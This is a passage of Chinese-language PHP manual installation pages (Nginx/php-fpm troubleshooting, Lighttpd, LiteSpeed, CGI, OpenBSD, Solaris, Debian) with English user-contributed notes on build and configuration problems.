Warning: Declaration of PEAR_Task_Replace :: init () should be compatible with PEAR_Task_Common :: init ($ xml, $ fileAttributes, $ lastVersion) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib. phar / PEAR / Task / Replace.php on line 31
[PEAR] XML_Util - already installed: 1.2.3

Warning: Declaration of PEAR_Task_Windowseol :: init () should be compatible with PEAR_Task_Common :: init ($ xml, $ fileAttributes, $ lastVersion) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib. phar / PEAR / Task / Windowseol.php on line 76

Warning: Declaration of PEAR_Task_Unixeol :: init () should be compatible with PEAR_Task_Common :: init ($ xml, $ fileAttributes, $ lastVersion) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib. phar / PEAR / Task / Unixeol.php on line 76
[PEAR] PEAR - already installed: 1.9.5

solution:

Workaround not found (http://pear.php.net/bugs/bug.php?id=20554)

3. Start php-fpm

1.ERROR: failed to open configuration file '/usr/local/etc/php-fpm.conf': No such file or directory (2)
ERROR: failed to load configuration file '/usr/local/etc/php-fpm.conf'
ERROR: FPM initialization failed

solution:

Php-fpm.conf copy files from the source file to that location.

cp /root/php-7.0.0alpha1/sapi/fpm/php-fpm.conf /usr/local/etc/php-fpm.conf

2.ERROR: Unable to globalize '/usr/local/NONE/etc/php-fpm.d/*.conf' (ret = 2) from /usr/local/etc/php-fpm.conf at line 125.
ERROR: failed to load configuration file '/usr/local/etc/php-fpm.conf'
ERROR: FPM initialization failed

solution:

Edit /usr/local/etc/php-fpm.conf document introduced * .conf part, change to the correct path include = / usr / local / etc / php-fpm.d / *. Conf

If there is no /usr/local/etc/php-fpm.d directory, create the directory.

3.WARNING: Nothing matches the include pattern '/usr/local/etc/php-fpm.d/*.conf' from /usr/local/etc/php-fpm.conf at line 125.
ERROR:. No pool defined at least one pool section must be specified in config file
ERROR: failed to post process the configuration
ERROR: FPM initialization failed

solution:

cp www.conf.default www.conf

4.ERROR: [pool www] can not get gid for group 'nobody'
ERROR: FPM initialization failed

solution:

Www.conf open files, user and group users into nginx default settings, usually the default is www-data.
Akash Kumar Sharma 20-Dec-2015 08:48
If you get "File not found" error then add "root ROOT_DIR_LOCATION" directive to PHP location block i.e. "location ~* \.php$ { }" , where ROOT_DIR_LOCATION is root directory like "/usr/share/nginx/html" .
nguyentienlong88 at gmail dot com 03-Dec-2015 03:22
at step 3, after command "sudo make install"
if there is problem with pear.php.net (https). Need to change this line (from https to http) in Makefile
PEAR_INSTALLER_URL = http://pear.php.net/install-pear-nozlib.phar
nguyentienlong88 at gmail dot com 02-Dec-2015 07:38
at step 3, if there is no configure script yet, you need to rebuiding configure script using this command:

./buildconf --force


Unix 平台的 Lighttpd 1.4

本节包括在 Unix 平台的 Lighttpd 1.4 下安装 PHP 的说明和提示。

推荐阅读 » Lighttpd trac 了解一下正确安装 Lighttpd 然后继续。

推荐使用 FastCGI 作为 SAPI 模块来连接 PHP 和 Lighttpd。 在 php-cgi 中自动启用 FastCGI。

使 Lighttpd 产生 php 进程

要配置 Lighttpd 连接到 PHP 并产生 FastCGI 进程， 编辑 lighttpd.conf。 推荐使用套接字在本机连接 FastCGI 进程。

Example #1 部分 lighttpd.conf

server.modules += ( "mod_fastcgi" )

fastcgi.server = ( ".php" =>
  ((
    "socket" => "/tmp/php.socket",
    "bin-path" => "/usr/local/bin/php-cgi",
    "bin-environment" => (
      "PHP_FCGI_CHILDREN" => "16",
      "PHP_FCGI_MAX_REQUESTS" => "10000"
    ),
    "min-procs" => 1,
    "max-procs" => 1,
    "idle-timeout" => 20
  ))
)

bin-path 指令允许 lighttpd 动态产生 FastCGI 进程。PHP 会根据 PHP_FCGI_CHILDREN 环境变量产生子进程。bin-environment 指令设定了所产生的进行的环境。PHP 会在达到 PHP_FCGI_MAX_REQUESTS 所指定的请求数目之后杀死一个子进程。在 PHP 中通常应避免 min-procs 和 max-procs 指令。PHP 自己管理其子进程，并且例如 APC 之类的 opcode 缓存仅在 PHP 管理下的子进程之间共享。如果 min-procs 被设定成某个大于 1 的值，则 PHP 应答器的总数目为该值乘以 PHP_FCGI_CHILDREN（如 min-procs 为 2，PHP_FCGI_CHILDREN 为 16 则会产生 32 个应答器）。

通过 spawn-fcgi 产生进程

Lighttpd 提供一个名为 spawn-fcgi 的程序来简化产生 FastCGI 进程的手续。

产生 php-cgi

有可能不通过 spawn-fcgi 来产生进程，但需要做些工作。设定 PHP_FCGI_CHILDREN 环境变量控制了 PHP 产生多少个子进程来处理请求。设定 PHP_FCGI_MAX_REQUESTS 将决定每个子进程存活多久（以请求数目决定）。 以下为一个简单的 bash 脚本来帮助产生 php 应答器。

Example #2 产生 FastCGI 应答器

#!/bin/sh

# Location of the php-cgi binary
PHP=/usr/local/bin/php-cgi

# PID File location
PHP_PID=/tmp/php.pid

# Binding to an address
#FCGI_BIND_ADDRESS=10.0.1.1:10000
# Binding to a domain socket
FCGI_BIND_ADDRESS=/tmp/php.sock

PHP_FCGI_CHILDREN=16
PHP_FCGI_MAX_REQUESTS=10000

env -i PHP_FCGI_CHILDREN=$PHP_FCGI_CHILDREN \
       PHP_FCGI_MAX_REQUESTS=$PHP_FCGI_MAX_REQUESTS \
       $PHP -b $FCGI_BIND_ADDRESS &

echo $! > "$PHP_PID"

连接远程 FCGI 实例

FastCGI 实例可被产生于多个远程机器以分散应用程序。

Example #3 连接远程 php-fastcgi 实例

fastcgi.server = ( ".php" =>
   (( "host" => "10.0.0.2", "port" => 1030 ),
    ( "host" => "10.0.0.3", "port" => 1030 ))
)

User Contributed Notes

There are no user contributed notes for this page.


Unix 系统下的 LiteSpeed、OpenLiteSpeed Web 服务器

LiteSpeed PHP 是一个通过 LiteSpeed SAPI 方式和 LiteSpeed 协同工作的 PHP 优化编译器。LSPHP 有自己的进程和独立的二进制包，可用作简单的命令行二进制文件在命令行中执行 PHP 脚本。

LSAPI 是一个高度优化的 API，允许 LiteSpeed 与第三方 web 引擎之间进行通信。它的协议和 FCGI 很像，但更加高效。

本文档将包含安装和配置 PHP 的 LSAPI，并将 LSAPI 适用于 LiteSpeed Web 服务器和 OpenLiteSpeed Web 服务器。

本文档假设 LSWS 或者 OLS 使用默认路径和标记安装。这两个 web 服务器的默认路径为： /usr/local/lsws，并且都可以从 bin 子目录下运行。

请注意：本文档中对版本号使用 x 替代，以确保本文档在将来保持正确，请根据需要替换对应的版本号。

  1. 要获取和安装 LiteSpeed Web 服务器或者 OpenLiteSpeed Web 服务器，请访问 LiteSpeed Web 服务器文档 » 安装页面 或者 OpenLiteSpeed 文档 » 安装页面.

  2. 获取并且解压PHP源码：

    mkdir /home/php
cd /home/php
wget http://us1.php.net/get/php-x.x.x.tar.gz/from/this/mirror
tar -zxvf php-x.x.x.tar.gz
cd php-x.x.x

  3. 配置并构建 PHP。这里可以根据各种选项来定制 PHP，例如需要开启哪些扩展。运行 ./configure --help 可以获得可用的选项列表。在示例中，我们将使用 LiteSpeed Web 服务器默认推荐的配置选项：

    ./configure ... '--with-litespeed'
make
sudo make install

  4. 检查 LSPHP 是否安装

    检查 PHP 是否成功安装的一种最简单的方式是运行以下代码：

    cd /usr/local/lsws/fcgi-bin/
./lsphp5 -v

    它将会返回新构建的 PHP 信息：

    PHP 5.6.17 (litespeed) (built: Mar 22 2016 11:34:19)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2015 Zend Technologies

    注意括号中的 litespeed。这意味着构建的 PHP 支持 LSAPI。

按照上面的步骤，LiteSpeed / OpenLiteSpeed Web 服务器已经作为 PHP 的 SAPI 扩展来运行。LSWS / OLS 和 PHP 更多的配置选项，请查看 LiteSpeed 文档： » PHP。

从命令行使用 LSPHP：

LSPHP(LSAPI + PHP) 命令行模式，适用于远程服务器上没必要运行 web 服务， 但是又需要处理 PHP 程序的情况。它常用于本地独立的 web 服务器处理 PHP 程序。 这个设置适合将 PHP 的处理拆分到远程服务器上，具有良好的服务可伸缩性。

从远程服务器的命令行中启动 lsphp 服务： LSPHP 是可执行文件，可以手动启动，通过命令行选项 -b socket_address 来绑定到 IPv4，IPv6，或者 Unix 域套接字地址上。

例如：

LSPHP 绑定到所有 IPv4 和 IPv6 地址的 3000 端口：

/path/to/lsphp -b [::]:3000

LSPHP 绑定到所有 IPv4 地址的 3000 端口：

/path/to/lsphp -b *:3000

LSPHP 绑定到 192.168.0.2:3000：

/path/to/lsphp -b 192.168.0.2:3000

LSPHP 通过 Unix 域套接字/tmp/lsphp_manual.sock 接受请求：

/path/to/lsphp -b /tmp/lsphp_manual.sock

在 LSPHP 执行前设置环境变量：

PHP_LSAPI_MAX_REQUESTS=500 PHP_LSAPI_CHILDREN=35 /path/to/lsphp -b IP_address:port

目前 LiteSpeed PHP 可适用于 LiteSpeed Web 服务器，OpenLiteSpeed Web 服务器和 Apache mod_lsapi 一起使用。有关服务器端的配置的步骤，请浏览相关的文档页面： » LiteSpeed Web 服务器 和 » OpenLiteSpeed。

LSPHP 也可以通过其它的方式来安装。

CentOS： 在 CentOS 系统中，LSPHP 可以从 LiteSpeed 存储库或 Remi 存储库中通过 » RPM 的方式安装。

Debian： 在 Debian 系统中，LSPHP 可以从 LiteSpeed 存储库中通过 » apt 的方式安装。

cPanel： 访问相应的» 文档页面了解如何通过 cPanel 和 LSWS/OLS 在 EasyApache4 中安装 LSPHP。

Plesk： Plesk 可以在 CentOS，CloudLinux，Debian 和 Ubuntu 上使用 LSPHP，想获取更多的信息，请参考对应的» 文档页面

User Contributed Notes

There are no user contributed notes for this page.


CGI 和命令行设置

默认为将 PHP 编译为 CLI 和 CGI 程序。这将建立一个命令行解释器，可用于 CGI 处理或非 web 相关的 PHP 脚本。如果用户运行着一个 PHP 模块支持的 web 服务器，那通常为性能考虑应该使用模块方式。不过 CGI 版可以使 Apache 用户用不同的用户 ID 运行不同的 PHP 页面。

Warning

服务器使用 CGI 方式进行部署可能存在几个公开的缺陷。请阅读 CGI 安全一章 以学习 如何抵御这些攻击。

测试

如果将 PHP 编译为 CGI 程序，可以通过键入 make test 来测试你的编译。测试一下编译永远是个好主意。这样就可以在你的平台上及早捕捉到 PHP 的问题而不是以后再费力的解决。

使用变量

某些服务器提供的环境变量没有定义在当前的 » CGI/1.1 标准中。只有下列变量定义在其中： AUTH_TYPE， CONTENT_LENGTH, CONTENT_TYPE, GATEWAY_INTERFACE, PATH_INFO, PATH_TRANSLATED, QUERY_STRING, REMOTE_ADDR, REMOTE_HOST, REMOTE_IDENT, REMOTE_USER, REQUEST_METHOD, SCRIPT_NAME, SERVER_NAME, SERVER_PORT, SERVER_PROTOCOL 和 SERVER_SOFTWARE。其它的变量均作为"供应商扩展（vendor extensions）"来对待。

User Contributed Notes

vinay_sajip at yahoo dot co dot uk 16-Apr-2020 10:33
If building from source on Ubuntu, you may need to "apt install libonig-dev" for the Oniguruma regular expression library. Otherwise, the "configure" script doesn't complete.


在 OpenBSD 系统下的安装

本章节的内容和提示仅限于将 PHP 安装到 » OpenBSD 系统上。

使用二进制包安装

使用二进制包安装 PHP 到 OpenBSD 系统上是被推荐的同时也是最简单的方法。PHP 核心包已经从其他模块中分离出来了并且每个模块可以被独立的安装／卸载而不影响其他模块。所有这些安装 PHP 需要的文件可以在 OpenBSD 光盘或者在 FTP 站点上找到。

需要安装的核心包是 php，它包含了基本的引擎（加上 fpm、gettext 和 iconv）并且可能有几个版本可供选择。其次，可能还需要安装一些模块包，如：php-mysqli 或 php-imap。需要使用命令 phpxs 去激活它，并且再通过修改 php.ini 文件来屏蔽他们。

Example #1 在 OpenBSD 系统下的软件包的安装示例

# pkg_add php
# pkg_add php-apache
# pkg_add php-mysqli
  （安装 PEAR 库）
# pkg_add pear

Follow the instructions shown with each package!

  (移除包)
# pkg_delete php
# pkg_delete php-apache
# pkg_delete php-mysqli
# pkg_delete pear

阅读用户手册中的 » packages(7) 部分，可以得到更多 OpenBSD 系统下有关二进制软件包的信息。

使用 Ports

同样可以使用 » ports tree 来编译 PHP 的源代码。然而，这样的安装方式仅仅是建议对 OpenBSD 非常熟悉的高级用户去做。PHP port 分为 core 和 extensions。其中 extensions 产生了所有 PHP 所支持的子模块。如果不希望创建并且使用这些模块中的某些模块，请使用 no_* FLAVOR。例如，如果希望跳过编译 imap 模块，设置 FLAVOR 为 no_imap 即可。

常见问题

  • Apache 和 Nginx 不再是 OpenBSD 上的默认服务器，但他们都可以在 ports 和包中找到。 新的默认服务器也被称为 "httpd"。
  • 默认安装的 httpd 运行于 » chroot(2) jail 内，将限制 PHP 脚本只能访问 /var/www下面的文件。需要建立 /var/www/tmp 目录来存放 PHP session 文件，或使用其它的 session 后端。此外，数据库套接字需要被放入 jail 或者侦听 localhost接口。如果使用网络函数，某些 /etc 下面的文件例如 /etc/resolv.conf 和 /etc/services 需要被移动到 /var/www/etc 中去。OpenBSD PEAR 包会自动安装到正确的 chroot 目录中。
  • 对应于 » gd 扩展的 OpenBSD 包需要安装 Xorg。 Unless already installed at base install by adding the xbase.tgz file set, this can be added at post-installation (see » OpenBSD FAQ#4).

User Contributed Notes

Anonymous 01-Aug-2021 04:20
UPDATE: OpenBSD 6.9:

- The package "php-fpm" no longer exists. It's the default, so you can just install "php".
- The /var/www/tmp directory will be created automatically when you install PHP.
- PHP 8 is available :D as well as older versions. pkg_add will ask you which version to install.
pete att shitnami.net 02-Jun-2015 05:27
A brief update: As of OpenBSD 5.7 (2015) the installation process is extremely easy. Apache httpd was replaced by Nginx, which has since been further replaced by OpenBSD's own server, aptly named 'httpd'.

'httpd' is installed by default, everything else you can still get from packages, with a couple name changes (including Apache and Nginx.) You will be asked which version to install - at the time of writing, versions 5.3.29p1 thru 5.6.5 are available.

#pkg_add php
#pkg_add php-fpm
#pkg_add pear

----
OpenBSD disables most services by default; a blank '_flags' line overrides default 'NO' value. pkg_scripts are located in /etc/rc.d/
To start at boot, edit "/etc/rc.conf.local":

  httpd_flags=
  pkg_scripts=php_fpm

----
Example /etc/httpd.conf
#
# paths are relative to chroot - e.g, '/var/www/run/php-fpm.sock'
server "default" {
      listen on * port 80
      location "*.php" {
            fastcgi socket "/run/php-fpm.sock"
      }
      directory index index.php
      root "/htdocs"
}

----
For date, timezone issues, copy /etc/localtime:
    $cp /etc/localtime /var/www/etc/localtime

If 'localhost' DNS name fails to resolve, copy /etc/hosts
    $cp /etc/hosts /var/www/etc/hosts
hg at ostc dot de 15-May-2005 10:45
Also you should add "-a /var/www/dev/log" to the syslogd_flags
for propper logging of php-extensions like imap.so and create
a /var/www/etc/master.passwd with an www-user-entry and run
pwd_mkdb -d /var/www/etc /var/www/etc/master.passwd for propper
use of libc-client.a functions in imap.so.
openbsd-fanatic 10-May-2005 01:51
I am user that is just migrating to open source and thought I would take openbsd for a spin. This article, by Gregory L. Magnusson, really helped me to get a working apache-php-mysql server going on openbsd.
http://www.devx.com/security/Article/28059/0/page/1
ameen(at)dausha(dot)net 02-Nov-2003 07:47
I just finished spinning my wheels with PHP/Apache on OpenBSD 3.3, and it took a Google to fix my problem. I followed the instructions by (0429196301 at netcabo dot pt) written on Sep 19, 2003 and kept being fed a segmentation fault when I tried to start httpd.

Then I read the page cited below that suggested playing with the order of the LoadModules, and put the PHP first. I followed that recommendation and httpd started without problems!

Page that saved me:
http://archives.neohapsis.com/archives/openbsd/2002-04/3074.html

"Change around the order of the Apache modules, this is one of the
drawbacks to the module API for Apache 1.3 is that the order is very
important. I would try making the PHP 4 module first, Perl module second
and FP module last. "
sanchero [at] gvsu [dot] edu 09-May-2003 11:59
On OpenBSD 3.2, given the steps outlined above using pre-built packages you will get a new "/var/www/conf/httpd.conf" that contains a section like this:

<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

This causes mod_php4 to load only when starting Apache w/SSL, so if this isn't what you want add the mod_php4 line again above (or below) this section, like so:

AddModule mod_php4.c   <<------ SEE? - now should load normally.
<IfDefine SSL>
AddModule mod_ssl.c
AddModule mod_php4.c
</IfDefine>

I also added this for good measure:

<IfModule mod_php4.c>
         AddType application/x-httpd-php .php [blah blah]
</IfModule>

Seems to work.


针对 Solaris 的安装提示

本节包含了在 Solaris 系统上安装 PHP 的说明和提示。

需要的软件

默认安装的 Solaris 系统经常缺少 C 语言编译器和其相关工具。部分工具必须使用该工具的 GNU 版本，原因请阅读 FAQ。

要解压缩 PHP 发行包，需要：

  • tar
  • gzip 或
  • bzip2

要编译 PHP，需要：

  • gcc（推荐使用，其它 C 编译器也许也能用）
  • make
  • GNU sed

要编译更多扩展库或自行开发 PHP 代码，可能还需要：

  • re2c
  • bison
  • m4
  • autoconf
  • automake
此外，还需要安装（甚至编译）针对自己的配置所需的软件，例如 Oracle 或 MySQL。

使用软件包

可以使用 pkgadd 来安装大部分需要的软件来简化 Solaris 安装过程。Solaris 11 Express 下的映像打包系统（Image Packaging System，IPS）也包含了大多数安装所需的部件，通过 pkg 命令。

User Contributed Notes

Senny 19-Apr-2016 01:44
Here is my successful installation of PHP 5.5.30 on Solaris 10 6/06 u2 SPARC:

set LD_LIBRARY_PATH, LD, CC and PATH variables

root# LD_LIBRARY_PATH=/usr/local/lib:/usr/lib:/usr/openwin/lib:/export/home/db/oracle/lib:/export/home/db/oracle/lib32
root# CC=gcc
root# LD=/usr/ccs/bin/ld
root# PATH=$PATH:/usr/ucb:/usr/local/bin/:/usr/sfw/bin/:/opt/csw/bin/:/usr/ccs/bin/
root# export LD_LIBRARY_PATH CC PATH LD

./configure  --with-oci8=/export/home/db/oracle --with-apxs2=/usr/apache2/bin/apxs --with-config-file-path=/etc/apache2 --with-iodbc=/usr/local --enable-ftp --with-freetype-dir=/usr/local/freetype/ --with-sybase-ct=/usr/local/freetds/ --enable-opcache=no --without-pear

make
make test
make install
ariedederde 18-Jun-2011 12:58
Install php on solaris express:

pkg search php
part of output is e.g.

pkg:/web/php-52@5.2.12-0.151.0.1

pkg install php-52

php binary installs in /usr/php/5.2/bin/php
julie at baumler dot com 28-Dec-2006 09:22
There's a great how-to for Solaris 10 from Mel Lester Jr at http://meljr.com/~meljr/AMPSolaris10.html.

It even shows how to install php in a global zone and configure it in your other zones.
francois at tekwire dot net 06-Oct-2006 01:11
A detailed HOWTO document describing how to build Apache & PHP on Solaris is available at http://www.tekwire.net/redir.php/build_apa_php

This document also explains how to build from scratch every piece of software they can depend on, including almost every Apache modules and PHP extensions : Apache 2.0, PHP V4 & V5, zlib, OpenSSL, OpenLDAP, expat, iconv, mod_jk, xml2, xslt, png, jpeg, freetype, bzip2, curl, imap, MySQL, PostgreSQL, mm.

Also includes a cute dependency diagram making clear the relationships between all these libraries.
ozone at cname dot com 15-Jan-2006 09:46
php >= 5.1.1 requires a fully GNU toolchain on solaris; /usr/ccs/bin/ld will fail to link. see bug 35496.
AxL 19-Dec-2005 10:48
If you have problems building php with sqlite on solaris, add "-lrt" library so you dont get the fdatasync undefined symbol error.
anacreo 17-Dec-2004 08:11
Below was copied from a Sun Forum -- if having problems compiling on Solaris 10 try this:

Re: where is ctid_t defined? (Solaris 10)
Author: Juergen.Keil         Nov 17, 2004 10:37 AM (reply 1 of 10)
ctid_t is defined in /usr/include/sys/types.h ("typedef id_t ctid_t;").

I guess what has happend is that you're using a gcc compiler that
was build on Solaris 9 (or some other Solaris release older than
Solaris 10 b69), and this gcc release has a set of "fixed" gcc specific
headers that don't match your s10b69 system headers any more.

The fix is to build a fresh set of gcc "fixed" headers:

# cd /opt/sfw/gcc-3/lib/gcc-lib/i386-pc-solaris2.9/3.3.2/install-tools/

# cat > mkheaders.conf
SHELL=/bin/sh
SYSTEM_HEADER_DIR="/usr/include"
OTHER_FIXINCLUDES_DIRS=""
FIXPROTO_DEFINES="-D_XOPEN_SOURCE"
STMP_FIXPROTO="stmp-fixproto"
STMP_FIXINC="stmp-fixinc"
^D

# ./mkheaders
xlark at sdf dot lonestar dot org 11-Jul-2003 07:48
If you do a "Core Install" of Solaris,  be sure you have installed the SUNWlibm and SUNWlibms packages.  PHP 4.2.3 fails to compile without them.

If you get errors with GCC about math.h, then you don't have them installed.
ejflores at alcatel dot es 03-Jul-2003 06:14
./configure not run fine with /usr/ucb/tr you need to install GNU textutils
ineves at iportalmais dot pt 07-Mar-2003 03:09
I have compiled php 4.2.3, on my solaris 9, sparc, it works, i have gcc 3.2.2, from sunfreeware.org, i have compiled with

./configure --prefix=/opt/php --with-apxs=/opt/apache/bin/apxs --with-pgsql=/opt/pgsql --with-imap=/usr/src/soft/imap-2002b --with-ldap --with-imap-ssl=/usr/local/ssl

It compiles, but when i try to run it says something like:

bash-2.05# /opt/apache/bin/apachectl start
Syntax error on line 205 of /opt/apache/conf/httpd.conf:
Cannot load /opt/apache/libexec/libphp4.so into server: ld.so.1: /opt/apache/bin/httpd: fatal: relocation error: file /opt/apache/libexec/libphp4.so: symbol ldap_start_tls_s: referenced symbol not found
/opt/apache/bin/apachectl start: httpd could not be started

This means that the ldap librarys that came with solaris, are not very fine, you should use from openldap.org packages...

it is using this library:

bash-2.05# ldd /opt/apache/libexec/libphp4.so
    ...
    libldap.so.5 =>  /usr/lib/libldap.so.5

his one is from solaris installation.

(sorry about my english)
nicos at php dot net 06-Jan-2003 07:49
Note that you also need GNU sed or you'll have some errors lile "Output line too long."
m at hackerz dot uk dot co 15-Oct-2002 09:49
Compiled Ok on Solaris 9 after the addition of Bison Flex automake and autoconf, adding /usr/local/bin to the path and linking /usr/ccs/bin/ar to /usr/local/bin/ar.
php at woodNO-SPAMstea dot com 26-Jun-2002 11:15
Howard Glynn's post from May 22 is right on - if you're running Solaris 8, make sure you get the latest Recommended patch cluster. I've been struggling with that library problem that happens when you start Apache for several weeks, tweaking the config, setting LD_LIBRARY_PATH, etc. I couldn't believe that the PHP developers wouldn't have the Solaris build right - seems like a fairly important OS. But the latest Solaris patch cluster fixed the problem, so I guess it was my fault for not being up to date. I'm running PHP 4.2.1 now with Apache 2.0.36, works great.
ltfrench at vt dot edu 09-Jun-2002 02:09
To get PHP 4.2.0 or better to make on Solaris 8 (using gcc and gnu autoconf) you need to:
ln -s /usr/local/bin/gcc /usr/local/bin/cc

See: http://bugs.php.net/bug.php?id=16833
howardglynn at hotmail dot com 22-May-2002 10:26
I've had a lot of problems with "dn_skipname" reference errors when trying to do a php / apache shared-library install on solaris 8. All compiling was clean, but could not restart apache with mod_php. After much trial and error, I found a solution by installing patch 109326-07 which has some fixes for resolver (I think). I had one web server without the patch, and one with it, and was able to show the same commands compiling, working and restarting on one, but not the other. Installed patch on machine, compiled clean and was up and running after doing this. Works great. Get the patch from sun.com
shane dot kinsch at netracorp dot comNOSPAM 17-Feb-2002 12:49
PHP 4.1.1 / Apache 1.32 Buile Issues (Solaris 2.8)

Apache build options:
./configure --prefix=/usr/local/etc/apache --enable-module=rewrite --enable-shared=rewrite

PHP build options:
./configure --with-mysql=/usr/local/etc/mysql --with-apxs=/usr/local/etc/apache/bin/apxs

Both Apache and PHP compiled without errors and installed cleanly.

The Error when starting Apache:
Syntax error on line 208 of /usr/local/etc/apache/conf/httpd.conf:
Cannot load /usr/local/etc/apache/libexec/libphp4.so into server:
ld.so.1: /usr/local/etc/apache/bin/httpd: fatal: relocation error: file /usr/local/etc/apache/libexec/libphp4.so: symbol dn_skipname: referenced symbol not found ./apachectl start: httpd could not be started

Line 208 in the httpd.conf file is:
LoadModule php4_module        libexec/libphp4.so

The solution:
For some reason, even though LD_LIBRARY_PATH was being set properly,
it wasn't being read fully.  You will need to create a runtime
linking environment by doing this:

#crle -c /var/ld/ld.config -l /usr/lib:/usr/local/lib:/usr/local/etc/mysql/lib

Shane Kinsch
NetraCorp LLC / SecurNET Consulting
Louis at ewens dot com 22-Jun-2001 07:39
On Solaris, if upon starting Apache you get an error like this:

Syntax error on line 33 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp4.so into server: ld.so.1: /usr/loca
l/apache/bin/httpd: fatal: libmysqlclient.so.10: open failed: No such file or directory
./apachectl start: httpd could not be started

..try inserting the following lines into the configuration section of your apachectl startup shell script:

LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:/usr/local/mysql/lib/mysql
export LD_LIBRARY_PATH

Change the /usr/local/mysql/ prefix to where ever your MySQL installation is. Make sure to add on the /lib/mysql extension to your own path though.

Do your normal "apachectl start" command to start Apache and voila, no more error. Apachectl can be found in the bin directory of your Apache installation.


Debian GNU/Linux 安装说明

本节包含了在 » Debian GNU/Linux 下安装 PHP 的说明和提示。

Warning

这里不支持非官方的第三方发行包。任何错误应报告给 Debian 开发组，除非该错误在使用从官方» 下载的最新版时仍能重现。

尽管在 Unix 下编译 PHP 的指示也适用于 Debian，本节包含有一些特定信息，例如使用 apt 或者 aptitude 命令。本节中这两条命令可以互换。

使用 APT

首先，注意其它有关的包可能需要 libapache-mod-php 集成入 Apache 2，以及 PEAR 的 php-pear。

其次，在安装一个包之前，最好先确定该包是最新版。通常可以运行命令 apt update。

Example #1 Debian 下将 PHP 安装入 Apache 2 的例子

# apt install php-common libapache2-mod-php php-cli

APT 将自动安装 Apache 2 的 PHP 模块以及所有依赖的库并激活之。应重启动 Apache 以使更改生效，例如：

Example #2 安装完 PHP 后停止并启动 Apache

# /etc/init.d/apache2 stop
# /etc/init.d/apache2 start

更好地控制配置

上一节中 PHP 仅安装了核心模块。很可能还需要更多模块，例如 MySQL，cURL，GD 等。这些模块也可以通过 apt 命令安装。

Example #3 取得 PHP 附加软件包的列表

# apt-cache search php
# apt search php | grep -i mysql
# aptitude search php

以上命令的输出中列出了很多的包，其中有几个针对 PHP 的模块例如 php-cgi，php-cli 以及 php-dev。决定好要安装哪些之后可以用 apt 或者 aptitude 来安装。Debian 会进行倚赖性检查，会给出提示，例如安装 MySQL 和 cURL：

Example #4 安装 PHP 的 MySQL 和 cURL 支持

# apt install php-mysql php-curl

APT 会自动把适当的行添加到不同的 php.ini 相关文件中去，例如 /etc/php/7.4/php.ini，/etc/php/7.4/conf.d/*.ini 等，并且根据扩展，还会添加类似 extension=foo.so 的内容。不过还是需要重新启动 web 服务器（例如 Apache）以使这些改动生效。

常见问题

  • 如果 PHP 脚本没有通过 web 服务器被解析，则有可能是 PHP 没有被加入到 web 服务器的配置文件中，在 Debian 中可能是 /etc/apache2/apache2.conf 或类似文件。具体内容参见 Debian 手册。
  • 如果某扩展貌似已经安装，但其函数却又未定义，确保合适的 ini 文件已被加载并且 web 服务器在安装后重新启动过。
  • 在 Debian（以及其它 Linux 变种）下有两个基本命令来安装包：apt 和 aptitude。不过要解释这两个命令的细微区别已超出本手册范围。

User Contributed Notes

kearney dot taaffe at gmail dot com 09-Jan-2018 02:24
Compiling PHP on Ubuntu boxes.

If you would like to compile PHP from source as opposed to relying on package maintainers, here's a list of packages, and commands you can run

STEP 1:
sudo apt-get install autoconf build-essential curl libtool \
  libssl-dev libcurl4-openssl-dev libxml2-dev libreadline7 \
  libreadline-dev libzip-dev libzip4 nginx openssl \
  pkg-config zlib1g-dev

So you don't overwrite any existing PHP installs on your system, install PHP in your home directory. Create a directory for the PHP binaries to live

    mkdir -p ~/bin/php7-latest/

STEP 2:
# download the latest PHP tarball, decompress it, then cd to the new directory.

STEP 3:
Configure PHP. Remove any options you don't need (like MySQL or Postgres (--with-pdo-pgsql))

./configure --prefix=$HOME/bin/php-latest \
    --enable-mysqlnd \
    --with-pdo-mysql \
    --with-pdo-mysql=mysqlnd \
    --with-pdo-pgsql=/usr/bin/pg_config \
    --enable-bcmath \
    --enable-fpm \
    --with-fpm-user=www-data \
    --with-fpm-group=www-data \
    --enable-mbstring \
    --enable-phpdbg \
    --enable-shmop \
    --enable-sockets \
    --enable-sysvmsg \
    --enable-sysvsem \
    --enable-sysvshm \
    --enable-zip \
    --with-libzip=/usr/lib/x86_64-linux-gnu \
    --with-zlib \
    --with-curl \
    --with-pear \
    --with-openssl \
    --enable-pcntl \
    --with-readline

STEP 4:
compile the binaries by typing: make

If no errors, install by typing: make install

STEP 5:
Copy the PHP.ini file to the install directory

    cp php.ini-development ~/bin/php-latest/lib/

STEP 6:

cd ~/bin/php-latest/etc;
mv php-fpm.conf.default php-fpm.conf
mv php-fpm.d/www.conf.default php-fpm.d/www.conf

STEP 7:
create symbolic links for your for your binary files

   cd ~/bin
   ln -s php-latest/bin/php php
   ln -s php-latest/bin/php-cgi php-cgi
   ln -s php-latest/bin/php-config php-config
   ln -s php-latest/bin/phpize phpize
   ln -s php-latest/bin/phar.phar phar
   ln -s php-latest/bin/pear pear
   ln -s php-latest/bin/phpdbg phpdbg
   ln -s php-latest/sbin/php-fpm php-fpm

STEP 8: link your local PHP to the php command. You will need to logout then log back in for php to switch to the local version instead of the installed version

# add this to .bashrc
if [ -d "$HOME/bin" ] ; then
  PATH="$HOME/bin:$PATH"
fi

STEP 9: Start PHP-FPM

    sudo ~/bin/php7/sbin/php-fpm
marin at sagovac dot com 23-Mar-2014 01:10
To install LAMP stack on Ubuntu (+Server) from 10.04 you need first install taskel and then lamp-server for example:

Install taskel, follow terminal guides:
sudo apt-get install tasksel

Install LAMP stack package from Ubuntu repository:
sudo tasksel install lamp-server
thumbs at apache dot org 27-Jun-2013 05:50
To refresh this document, perhaps it would be worth mentioning more modern methods to serve php content under apache httpd.

Specifically, the preferred method is now fastcgi, using either of those recipes:

(mod_fastcgi, httpd 2.2)
http://wiki.apache.org/httpd/php-fastcgi

(mod_fcgid, httpd 2.2)
http://wiki.apache.org/httpd/php-fcgid

(mod_proxy_fcgi, httpd 2.4)
http://wiki.apache.org/httpd/PHP-FPM

While the legacy mod_php approach is still applicable for some older installations, the fastcgi method is much faster, and require much less RAM to operate, based on similar traffic patterns.

Thank you!
juraj at jurajsplayground dot com 08-May-2009 05:59
On Ubuntu (since 7.04), rather do:
